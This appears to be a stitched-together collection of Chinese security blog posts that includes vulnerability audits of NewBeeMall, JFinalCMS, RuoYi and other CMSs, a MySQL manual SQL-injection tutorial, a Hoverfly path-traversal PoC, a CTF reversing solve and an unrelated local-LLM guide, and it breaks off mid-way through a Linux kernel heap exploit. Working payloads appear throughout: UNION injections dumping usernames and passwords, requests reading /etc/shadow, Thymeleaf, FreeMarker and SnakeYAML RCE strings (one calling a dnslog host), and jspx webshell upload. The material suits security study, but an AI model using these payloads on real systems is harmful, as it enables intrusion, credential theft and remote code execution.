复现文章代码在进入if判断前只有一行代码，并且代码逻辑是从前端传入的id值进行信息修改，但可以看到我下载的代码有两行：

NewBeeMallUserVO userTemp = (NewBeeMallUserVO)httpSession.getAttribute(Constants.MALL_USER_SESSION_KEY);

首先通过http.Session获取当前用户，再赋给创建的userTemp对象。

MallUser userFromDB =mallUserMapper.selectByPrimaryKey(userTemp.getUserId());

再从userTemp对象中获取id值进行信息修改，而非从前端请求中获取参数id的值，来完成漏洞修复。

0day的发现：

登录后台，点击修改或者添加商品：

随意传入图片后点击保存并抓包。

将POST数据包如上两个参数修改为dnslog地址，放包，在商城前台搜索该商品名称。

点击访问，dns平台出现记录。

漏洞代码分析：

先看看商品信息存储过程：

根据接口定位代码块：

可以发现在接受参数后进行是否为空判断后进入了核心方法updateNewBeeMallGoods，跟进：

跟到接口后再找到接口实现类，最后定位到更新信息代码块。

可以看到，仅仅对传入参数值进行为空判断和相同判断后，便调用set方法进行存储。

接下来再看看商品信息调用代码链。

根据触发漏洞的数据包接口定位代码块：

此处代码根据传入goodsid参数，将商品渲染到前端，也就是搜索商品后，见到商品那刻触发漏洞。

对接受goodsid参数是否<1判断后进入取商品信息代码。

跟进getNewBeeMallGoodsById方法，找到方法接口后再找接口实现类，再找方法：

发现goodsid参数传入selectByPrimaryKey方法。

该方法通过数据访问对象（DAO）goodMapper调用，且在方法最前处由NewBeeMallGoodsMapper对其定义：

全局搜索，找到对应xml文件：

发现通过id参数对数据库操作，取出goodsCoverImg与goodsCarousel参数。

回到最先前的类：

此时goods对象已经获取商品相关参数值。

再进入if判断商品是否上架，上架则进入下一轮代码，将商品信息封装为视图模型，找到NewBeeMallGoodsDetailVO类，发现只接受了goodsCoverImg参数，也就是先前抓包修改处只用修改该参数即可：

最后返回视图名称"mall/detail"，表示渲染商品详情页面：

由于存储时未做任何过滤，进行视图层渲染时直接拿出goodsCoverImg参数放到前端，导致用户一旦访问商品便触发该漏洞。

  

MySQL手工注入的基本步骤以及一些技巧的记录，当出现学习手工注入的时候，网上的文章参差不齐，导致很长一段时间对手工注入的理解一直处于一知半解的状态，特此记录本文，让小白们少走些弯路。本文只针对手工注入小白，大牛绕过轻喷。

步骤 注释或者闭合语句

首先看下一个基本的SQL语句查询源码：

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

下面的步骤默认都是采用这种基本的SQL语句的，其他的注入方法换汤不换药，这里只是想整理下注入的步骤与关键性的语句。

引号闭合语句

id =1 ' and '1' ='1

带入进源码中的SQL语句就是:

SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1

注释后面语句

常用的注释payload

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替换，url 提交过程中 Url 编码后的#为%23

带入进源码中的SQL语句就是:

SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1

这样可以看出直接把后面的语句都给注释掉了，一般实战用注释比较多。

and 验证

当然这里 and 验证和 or 验证都可以，二者区别不大:页面返回正常

?id=1' and 1=1 --+  ?id=1' or 1=2 --+ 页面返回异常 ?id=1' and 1=2 --+ ?id=1' or 1=1 --+

如果发现一开始页面先是正常然后是异常的话，说明页面啊存在注入。当然这里是最基本的判断方法，到后面盲注的时候是用延时函数来观察页面的返回时间的。

查询字段数目

查询字段数目主要利用MySQL里面的 order by 来判断字段数目，order by一般采用数学中的对半查找来判断具体的字段数目，这样效率会很高，下面假设用 order by 来判断一个未知字段的注入。

?id=1' order by 1 --+ 此时页面正常，继续换更大的数字测试?id=1' order by 10 --+ 此时页面返回错误，更换小的数字测试?id=1' order by 5 --+ 此时页面依然报错，继续缩小数值测试?id=1' order by 3 --+ 此时页面返回正常，更换大的数字测试?id=1' order by 4 --+ 此时页面返回错误，3正常，4错误，说明字段数目就是 3

通过数学的对半查找，确定字段数目。

联合查询

UNION SELECT 联合查询，手工注入经典语句，作用是在后面通过UNION把我们的恶意注入语句接上去，带入数据库进行查询。因为字段数目是:3,那么正规的语句如下:

?id=1' UNION SELECT 1,2,3 --+

这里页面是不会报错的，此时我们带入数据库的语句为:

SELECT 1,2,3 这段语句没有任何意义，所以页面按返回正常。

但是为了信息收集，我们得知道当前这个页面里面的值，调用的具体是数据库中的哪个字段才可以，可以故意构造一个错误的语句，来爆出错误的字段：

id=-1' UNION SELECT 1,2,3 --+ 通过id=-1 一个负数不存在的id值来触发报错id=1' and 1=2 UNION SELECT 1,2,3 --+ 通过and 1=2 语句来触发报错id=1' or 1=1 UNION SELECT 1,2,3 --+ 通过or 1=1 语句来触发报错

可以看出爆出了具体的字段号了，这里爆出了2和3进MySQL数据库看下这个表的字段结构:

数据库表的结构完美验证了本次爆错出先的数字2和3，这里的数字代表字段，恰巧对应的字段值是:username和password。

收集信息

在爆出的字段值里面可以替换为我们的恶意语句，前期主要是收集信息，包括判断当前数据库是否是root用户，MySQL的版本等，一般收集这些信息常用一些MySQL自带的函数去收集信息:MySQL常用的系统函数

version()            #MySQL版本 user()               #数据库用户名 database()           #数据库名 @@datadir            #数据库路径 @@version_compile_os #操作系统版本

查询当前数据库名

id=1' and 1=2 UNION SELECT 1,database(),3 --+

查询MySQL版本 id=1' and 1=2 UNION SELECT 1,2,version() --+

查询数据库用户和路径 id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+

查询数据库

查询数据库，一般来说我们注入的时候要查的就是当前的数据库，但有时候root权限就NB了还可以看到网站数据库之外的数据库内容。查询当前数据库

id=1' and 1=2 UNION SELECT 1,2,database() --+

这里用到了group_concat函数，由于本篇文章的定位是 手工注入的步骤 这里不在这里进行细化的讲解此类函数的用法。了解相关函数的话参考我的另一篇文章:MySQL 手工注入之常见字符串函数

查询表名 database 查询数据库 id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

单引号-数据库

这里的database()函数进行了数据库查询，因为我们已经查到了当前的数据库为security，所有这里还可以酱紫写，用单引号括把数据库的名称括起来'security':

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ hex编码数据库

如果嫌单引号括起来麻烦的话，那么巧了！这里还有一个更麻烦的方法，就是将数据库名进行hex编码处理。使用火狐自带的HackBar插件可以快速的进行hex编码:

hex编码后在前面加上0x表明这里是16进制编码。

目前主流的集中方法大致就是这样，还有一些先hex然后unhex group_concat的写法，据说可以绕waf类的，这里不是很常用就不再赘述了。 同理这些方法放到查询数据库的列名中也是可以使用的，要学会活学活用。

查询列名

目前收集到的信息为:

数据库名称: securuty数据库表名: emails,referers,uagents,users

做为一名黑客一定要有敏锐的嗅觉(手动dog)，这几个表中 一般我们都会去 继续猜解users表。下面用和查询数据库类似的方法去查询列名，关于原理的话 就是 MySQL下有一个information_schema里面会存所有数据库的一些相关信息:

                                        

既然都说到这里了，这里就顺便列举一下MySQL手工注入中，比较关键的information_schema里的信息:

记录关于数据库的信息

information_schema 数据库下的 schemata表中的schema_name记录的是各个数据库的名称:

不仅这里记录了在 tables数据库下的table_schema表也记录了各个数据库的名称:

记录关于数据表的信息

information_schema 数据库下的 tables表中的table_name记录的是各个数据表的名称:

这里是华丽的分割线，吃惊，一眨眼说不拓展的有忍不住扯了这么多，下面不多说直接来查询users表下的列名

id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查询字段值

由于在查询列名那里啰嗦的有点多，核心原理已经写在上面了,这里就简单的写出payload,:

id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+

知道了数据库、表名、各个字段名可以直接进行查询了，不需借助information_schanem数据库了。

简短的整理

本来是打算前面步骤中规中矩的写的，但还是忍不住写多了。于是又开出一个标题进行简短的整理:

order by --+ 判断字段数目

union select --+ 联合查询收集信息

id=1' and 1=2 UNION SELECT 1,2,database() --+ 查询当前数据库

id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+查询所有数据库

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 查询表名

id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 查询列名

id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+ 查询字段值

实战为主，近日2024年羊城杯出了一道Rust编写的题目，这里将会以此题目为例，演示Rust逆向该如何去做。

题目名称：sedRust_happyVm

题目内容：unhappy rust, happy vm

关于Rust逆向，其实就是看汇编，考验选手的基础逆向能力。在汇编代码面前，任何干扰都会成为摆设。

1、初步分析

64为程序，使用IDA 64打开

通过字符串定位分析点

现在我们知道 inputflag的长度大于 0x15

接下来在汇编层面下一个断点，输入假flag，去观察相关寄存器的值

好像并没有什么内容

继续单步 步过，直到发现下一个要注意的地方！

字符串长度：0x28

我们继续单步步过跟踪

开辟空间的时候，说明快到真正函数处理过程了。

2、分析加密流程 2.1 base64分割模块

这里简单将 3 字节变成4字节的操作，称之为 base64分割模块

这里举个例子

输入的："111"
->二进制字符串 001100010011000100110001
经过base64分割模块
->001100 010011 000100 110001

发现程序执行完后正好是这样的结果

2.2 组合

举个例子：

假如分割之后的4字节为：

0xC、0x13、0x4、0x31

那么组合后的字符串

rax = 0xC
rcx = 0x1300
edx = 0xB1130C18

2.3 VM处理模块

发现func3 非常乱

并且频繁调用sub_40A800()

发现这是一道VM类型的题，那么VM的题加密应该会很简单，基本是异或之类。

在 sub_40A800 里面找到 异或，下断点

这个al每经过两次就是秘钥

解题脚本 int main() {
   //提取的密文
   unsigned char s1[] = { 0x00,0x82,0x11,0x92,0xa8,0x39,0x82,0x28,0x9a,0x61,0x58,0x8b,0xa2,0x43,0x68,0x89,0x4,0x8f,0xb0,0x43,0x49,0x3a,0x18,0x39,0x72,0xc,0xba,0x76,0x98,0x13,0x8b,0x46,0x33,0x2b,0x25,0xa2,0x8b,0x27,0xb7,0x61,0x7c,0x3f,0x58 };
   //提取的秘钥
   unsigned char s2[] = { 0x18,0xb1,0x9,0xa4,0xa6,0x2a,0x9e,0x1b,0x96,0x57,0x5d,0xad,0xae,0x75,0x65,0xac,0x9,0x8c,0xa0,0x76,0x47,0x2c,0x10,0x1,0x7c,0xf,0xba,0x47,0x95,0x30,0x9b,0x74,0x3f,0x2d,0x2d,0x9a,0x87,0x31,0xba,0x43,0x70,0x2c,0x4c };

   unsigned char s3[128] = { 0 };

   for (int i = 0; i < 43; i++) {
       s3[i] = s1[i] ^ s2[i];
   }
   //还原base64分割模块
   char s4[128] = { 0 };
   int j = 0;
   for (int i = 0; i < 44; i += 4, j += 3) {
       s4[j] = (s3[i] << 2) | (s3[i + 1] >> 4);
       s4[j+1] = (s3[i+1] << 4) | (s3[i + 2] >> 2);
       s4[j+2] = (s3[i+2] << 6) | s3[i + 3];

   }

   printf("%s", s4);
 
   return 0;
}

‍  

漏洞简介

Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而，这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径，但攻击者可以通过使用 ../ 段来逃离 hf.Cfg.ResponsesBodyFilesPath 基本路径，从而访问任何任意文件。

环境搭建

我们还是利用 docker 来搭建环境

https://hub.docker.com/r/spectolabs/hoverfly/tags

docker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2  

‍

漏洞复现

构造数据包

POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded

{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

PUT /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded

{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}

漏洞分析

hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes

定义了 SimulationHandler 的路由注册方法，路由的每个 HTTP 方法（如 GET、PUT、POST、DELETE 等）都有一个对应的处理函数 (this.Get、this.Put、this.Post、this.Delete、this.Options、this.GetSchema)。这些函数处理实际的业务逻辑。

• GET /api/v2/simulation: 处理获取模拟数据。

• PUT /api/v2/simulation: 处理更新模拟数据。

• POST /api/v2/simulation: 处理创建新的模拟数据。

• DELETE /api/v2/simulation: 处理删除模拟数据。

• OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation 端点允许的 HTTP 方法的信息。

• GET /api/v2/simulation/schema: 获取模拟数据的 schema（结构）。

• OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema 端点允许的 HTTP 方法的信息。

POST 和 PUT 方法 仅仅是函数的第三个参数有所不同，所以两种请求方式都可以实现任意文件读取

hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation

第三个参数的不同导致 PUT 方法在获取新的模型内容时，首先删除前一个模拟内容，可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容，无法更新。

hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation

hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile

这里就是漏洞产生的关键原因，对传入的参数 filePath 没有做具体的校验，可以通过 ../ 实现跨越目录的读取文件

我们看到最新版已经对传入的参数进行了处理

hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile

hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath

这个 ResolveAndValidatePath 函数用于从一个绝对路径（absBasePath）解析一个相对路径（relativePath），并验证这个相对路径是否合法。具体来说，它确保了相对路径不会尝试向上回溯（使用 ".."），并且解析后的路径仍然在基路径之下。

  

前言

AI新时代，提高了生产力且能帮助用户快速解答问题，现在用的比较多的是Openai、Claude，为了保证个人隐私数据，所以尝试本地（Mac M3）搭建Llama模型进行沟通。

Gpt4all

安装比较简单，根据 https://github.com/nomic-ai/gpt4all 下载客户端软件即可，打开是这样的：

然后选择并下载模型文件，这里以Llama为例：

下载模型文件完，选择模型文件则可以进行对话了：

也可以利用基于 nomic-embed-text嵌入模型，把文档转成向量方便语义检索和匹配。选择文档所在的目录：

然后对话中选择对应的文档即可：

如果文件太大，需要在设置适当添加token大小，太大也不好，处理会慢且机器会卡死：

gpt4all使用起来还是比较方便的，但是有几个缺点：有些能在huggingface.co搜到的模型在gpt4all上面搜不到、退出应用后聊天记录会消失。

Ollama

安装也很方便，下载 https://ollama.com/download/Ollama-darwin.zip ，然后运行如下命令即可启动Llama：

ollama run llama3.2

为了方便图形化使用，可以借助 https://github.com/open-webui/open-webui 完整图形化的使用，启动也很简单，直接使用官方仓库中的命令即可：

docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main

然后访问本地的3000端口即可：

open-webui的原理也比较简单，Ollama启动后会在本地监听11434端口，open-webui也是利用这个端口来和Ollama通信完成的图形化使用。open-webui还可以多选模型一起回答：

整体测试下来，发现Llama3.2对于文档分析差点意思，给他提供一个pdf文档，也看不出个啥来。但是上面的gpt4all，然后通过nomic-embed-text模型嵌入后好点。

总结

本文演示了通过不同手段来运行Llama模型，来达到本地使用LLM的目的。

  

JFinalCms是开源免费的JAVA企业网站开发建设管理系统，极速开发，动态添加字段，自定义标签，动态创建数据库表并crud数据，数据库备份、还原，动态添加站点(多站点功能)，一键生成模板代码。

环境布置：IDEA打开项目，等待maven加载好。

使用phpstudy集成的mysql5.7数据库即可，导入JFinalCMS.sql数据库。

修改pom文件：

使用local9.0.90TOMCAT，JDK环境1.8。

运行TOMCAT，打开后台:

http://localhost:8081/cms_war_exploded/

反射xss：

搜索/admin/login定位到代码块：

由上可见，通过getPara获取账号密码后再通过render渲染到前端页面：

再分析前端代码构造xss进行闭合：

存储xss：

前台存在留言功能，留言会被管理员审核：

登录后台，点击扩展管理，留言信息：

原理同上。

Sql注入漏洞（1）：

该CMS存在很多处sql注入漏洞，大多数都是以+直接拼接sql注入语句造成，可以全局搜索+号寻找注入点。

找到以上代码块，可以直接看到title参数通过+直接拼接进入sql语句执行，于是我们继续找前端是调用的什么接口，并看看是否在接受参数时进行了过滤。

搜索findPage参数：

可以看到Contentcontroller层中存在title参数，点进去，定位到具体代码块：

可以看到调用了getPara方法获取传入的title参数，继续跟进getPara方法：

并未重写该方法，只是简单获取参数，未进行任何过滤，回到原来的controller层，向上翻，找到接口调用，数据包如下：

POST /cms_war/admin/content/data HTTP/1.1

Host: localhost:8081

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0)
Gecko/20100101 Firefox/130.0

Accept: text/html, \*/\*; q=0.01

Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 47

Origin: http://localhost:8081

Connection: keep-alive

Referer: http://localhost:8081/cms_war/admin/content

Cookie: JSESSIONID=EF8BB53892173B8A4577EFC32D0215BA;
listQuery=categoryId%3D&title%3D&sorts%3D&pageNumber%3D1

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Priority: u=0

categoryId=&title=%E7%BD%91&sorts=&pageNumber=1

将localhost替换为物理机IP放入sqlmap：

证明存在sql注入漏洞，其对应前端功能如下：

Sql注入漏洞（2）：

前台搜索框处也存在sql注入漏洞，只不过此处的调用过程较难找到。

如上图搜索关键字search定位到代码块：

仔细分析如上代码，我无法追踪keyword的具体调用。

以上代码是通过setAttr方法直接存储到当前请求的属性当中。我对keyword处打断点调试也未理清楚它后续是如何调用的。

于是再换一种思路，直接全局搜索keyword：

定位到具体代码，但无法确定是否是调用的此处findPage代码来构造sql。

搜索findPage也没有明确思路。

于是改变思路，由于keyword关键字最终是通过模板template渲染调用。

于是在template处挨个点进去找类似功能代码：

最终定位到代码块：

根据注释明确此处代码是根据不同关键词进行搜索，包含关键词keyword，继续查看keyword调用链：

确定是通过调用findPage，传入keyword参数来调用数据：

用sqlmap验证keyword参数：

任意文件读取：

翻找controller层代码，找到文件下载代码块：

可见未对传入的fileKey参数进行过滤，直接拼接进行文件读取。

（且我在翻找filter过滤器后，发现似乎 并未对该路径进行权限校验，可进行未授权调用接口）

  

环境布置：

到官网下载源码：https://github.com/yangzongzhuan/RuoYi

采用phpstudy集成数据库，5.7版本。JDK1.8。

IDEA打开项目，等待自动加载，修改application-druid.yml配置文件：数据库名，账号密码，连接数据库，修改application.yml中的端口，避免与80端口冲突。

导入：quartz.sql与ry_20201214.sql文件。

运行RuoYiApplication文件。

访问后台：http://localhost:25001/login

Sql注入漏洞：

由于该项目采用了mybatis开发，常见的找sql注入的方法就是全局搜索${

定位到可疑参数：

根据id值selectRoleList全局搜索，从xml定位到dao层：

右键单击，找该接口的使用，在使用处发现selectRoleList方法，全局搜索该方法，定位controller层查看接口与传参：

如下，定位到controller层：

分析代码：首先以@RequiresPermissions注解表明接口访问权限，再以@PostMapping注解表明接收接口，并且以@ResponseBody注解表明回将返回值写入http响应。

此方法会接收一个SysRole类型的role值，并且将接受的role值以selectRoleList方法处理后返回给list，最后返回给http响应。

于是我们现在需要分析

1：role对象在接收它的参数时是否有过滤，

2：selectRoleList方法在处理role接收后的值是否有过滤。

跟进SysRole类，发现无过滤：

跟进selectRoleList方法，发现无过滤：

于是确定原dataScope参数存在sql注入，到前端功能找对应数据包。

发现不存在dataScope参数,手动添加：

将localhost换成主机IP，放入sqlmap验证

Shiro反序列化：

首先查看项目pom文件，发现shiro版本为1.7.0：

全局搜索cipherKey，定位到密钥值：

由此结合shiro反序列化利用工具利用。

Shiro未授权访问：

查看shiro配置文件ShiroConfig.java，anon为匿名拦截器，不需要登录就能访问。authc为登录拦截器，需要登录认证才能访问。

Thymeleaf模板注入：

本框架采用了 Thymeleaf 模板，全局搜索::

根据Mapping构造路径，发送poc

fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

计划任务RCE:

如图添加计划任务

将调用目标字符修改如下：

org.yaml.snakeyaml.Yaml.load(\'!!javax.script.ScriptEngineManager
\[!!java.net.URLClassLoader \[\[!!java.net.URL
\[\"http://w2h0ib.dnslog.cn\"\]\]\]\]\')

调用执行：

dnslog出现响应：

任意文件下载漏洞：

继续如上创建定时任务：

ruoYiConfig.setProfile(\'/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\')

执行后访问如下路径实现文件下载：

/common/download/resource?resource=.zip

跟踪下载路径定位代码：

该处代码先接收resource的值，再将该值放入checkAllowDownload方法里面校验后，进入下载文件的代码调用。

于是跟进checkAllowDownload方法：

发现该方法主要做了两件事：

1：禁止掉resource中的目录穿越../

2：以白名单形式检查文件下载规则

这里主要跟进一下2的代码：

取点后缀：

再以点后缀进行白名单匹配：

如果在原controller层if判断为假，进入下载文件代码流程：

至此可发现下载文件的路径不可控，且类型存在白名单限制！

此时我们继续跟进本地资源路径的代码：

我们可以发现本地资源路径是通过getProfile进行获取，且该RuoYiConfig类存在setProfile方法，由此可知，可以通过计划任务调用该类的setProfile方法设置好路径，直接绕过了前面的if过滤：

之后即可调用/common/download/resource接口任意下载文件。

   

SQL注入 漏洞复现：

登陆后台，点击页面删除按钮，抓包：

rid参数存在sql注入，放入sqlmap检测成功：

代码分析：

Ctrl+Shift+F检索路由：

定位具体代码，为删除功能：

发现deleteByIds调用了传参rid，跟进：

发现进入Dao层，此处依旧调用的deleteByIds，于是找ICommonDao接口实现类：

定位到该类，发现以ids参数接受原先用户传入的rid参数，并在new一个sql对象后，直接将ids参数进行拼接，并通过原生jdbc执行返回结果。

模板注入

内容管理-文件管理-themes-flatweb-about.html，选择编辑，插入payload：

<#assignvalue="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

访问首页，点击关与我们：

执行命令，弹出计算机：

代码分析：

配置文件存在freemark

文件上传 漏洞复现：

这个CMS感觉上传文件路径不是很好找，所以上传时先找个合适的目录再点击上传文件。

文件管理处点击admin进入目录：

再点击文件上传：

通过上传jsp马，不过需要以jspx或者jspf后缀绕过上传。

代码分析：

上传时抓包，根据路由全局搜索：

定位到具体代码段：

用filePath参数接受path参数与file参数拼接，再从filePth参数中取出文件名赋值给fname参数。

跟进getSuffix：

发现只是以简单点来获取后缀。

检测是否为jsp文件后，如果不为则进入为空判断，并以FileOutputStream与write直接上传写入。

任意文件删除 漏洞复现：

上传jsp马后，点击右方删除文件，抓包。

将下方数据包改为admin上级目录，删除我先前上传但没找到路径的test.jspx文件，删除成功：

代码分析：

根据数据包在IDEA全局搜索，定位到delete代码段：

该方法接收三个参数：path、name 和 data，这些参数通过 \@RequestParam注解从请求中提取，并进行简单拼接，赋值给file对象，此时file对象代表实际的文件名称。

跟进delete方法：

发现对传入的path参数进行了检查，继续跟进：

发现仅仅采用java自带的类java.security.AccessController下的checkPermission(Permissionperm)静态方法校验权限。

如果权限满足便直接通过fs.delete()方法删除，造成任意文件删除漏洞。

  

前言

本文还是用一道例题来讲解几种内核堆利用方法，内核堆利用手段比较多，可能会分三期左右写。进行内核堆利用前，可以先了解一下内核堆的基本概念，当然更好去找一些详细的内核堆的基础知识。

概述

Linux kernel 将内存分为 页（page）→区（zone）→节点（node） 三级结构，主要有两个内存管理器—— buddy system 与 slub allocator，前者负责以内存页为粒度管理所有可用的物理内存，后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象（object）以进行细粒度的内存管理。

budy system

buddy system 以 page 为粒度管理着所有的物理内存，在每个 zone 结构体中都有一个 free_area 结构体数组，用以存储 buddy system 按照 order 管理的页面:

• 分配：

• 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐，之后从对应的下标取出连续内存页。

• 若对应下标链表为空，则会从下一个 order 中取出内存页，一分为二，装载到当前下标对应链表中，之后再返还给上层调用，若下一个 order 也为空则会继续向更高的 order 进行该请求过程。

• 释放：

• 将对应的连续内存页释放到对应的链表上。

• 检索是否有可以合并的内存页，若有，则进行合成，放入更高 order 的链表中。

slub allocator

slub_allocator 是基于 slab_alloctor 的分配器。slab allocator 向 buddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。

• 分配：

• 首先从 kmem_cache_cpu 上取对象，若有则直接返回。

• 若 kmem_cache_cpu 上的 slub 已经无空闲对象了，对应 slub 会被从 kmem_cache_cpu 上取下，并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上，然后再取出空闲对象返回。

• 若 kmem_cache_node 的 partial 链表也空了，那就向 buddy system 请求分配新的内存页，划分为多个 object 之后再给到 kmem_cache_cpu，取空闲对象返回上层调用。

• 释放：

• 若被释放 object 属于 kmem_cache_cpu 的 slub，直接使用头插法插入当前 CPU slub 的 freelist。

• 若被释放 object 属于 kmem_cache_node 的 partial 链表上的 slub，直接使用头插法插入对应 slub 的 freelist。

• 若被释放 object 为 full slub，则其会成为对应 slub 的 freelist 头节点，且该 slub 会被放置到 partial 链表。

heap_bof 题目分析

题目给了源码，存在UAF和heap overflow两种漏洞。内核版本为4.4.27

#include <asm/uaccess.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/types.h>

struct class *bof_class;
struct cdev cdev;

int bof_major = 256;
char *ptr[40];// 指针数组，用于存放分配的指针
struct param {
   size_t len;       // 内容长度
   char *buf;        // 用户态缓冲区地址
   unsigned long idx;// 表示 ptr 数组的 索引
};

long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
   struct param p_arg;
   copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
   long retval = 0;
   switch (cmd) {
       case 9:
           copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
           printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
           break;
       case 8:
           copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
           break;
       case 7:
           kfree(ptr[p_arg.idx]);
           printk("free: 0x%p\n", ptr[p_arg.idx]);
           break;
       case 5:
           ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
           printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
           break;
       default:
           retval = -1;
           break;
   }
   return retval;
}

static const struct file_operations bof_fops = {
       .owner = THIS_MODULE,
       .unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};

static int bof_init(void) {
   //设备号
   dev_t devno = MKDEV(bof_major, 0);
   int result;
   if (bof_major)//静态分配设备号
       result = register_chrdev_region(devno, 1, "bof");
   else {//动态分配设备号
       result = alloc_chrdev_region(&devno, 0, 1, "bof");
       bof_major = MAJOR(devno);
   }
   printk("bof_major /dev/bof: %d\n", bof_major);
   if (result < 0) return result;
   bof_class = class_create(THIS_MODULE, "bof");
   device_create(bof_class, NULL, devno, NULL, "bof");
   cdev_init(&cdev, &bof_fops);
   cdev.owner = THIS_MODULE;
   cdev_add(&cdev, devno, 1);
   return 0;
}

static void bof_exit(void) {
   cdev_del(&cdev);
   device_destroy(bof_class, MKDEV(bof_major, 0));
   class_destroy(bof_class);
   unregister_chrdev_region(MKDEV(bof_major, 0), 1);
   printk("bof exit success\n");
}

MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(bof_init);
module_exit(bof_exit);

boot.sh

这道题是多核多线程。并且开启了smep和smap。

#!/bin/bash

qemu-system-x86_64 \
 -initrd rootfs.cpio \
 -kernel bzImage \
 -m 512M \
 -nographic \
 -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
 -monitor /dev/null \
 -smp cores=2,threads=2 \
 -cpu kvm64,+smep,+smap \ kernel Use After Free 利用思路

cred 结构体大小为 0xa8 ，根据 slub 分配机制，如果申请和释放大小为 0xa8（实际为 0xc0 ）的内存块，此时再开一个线程，则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。

exp #include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

struct param {
   size_t len;       // 内容长度
   char *buf;        // 用户态缓冲区地址
   unsigned long idx;// 表示 ptr 数组的 索引
};

int main() {
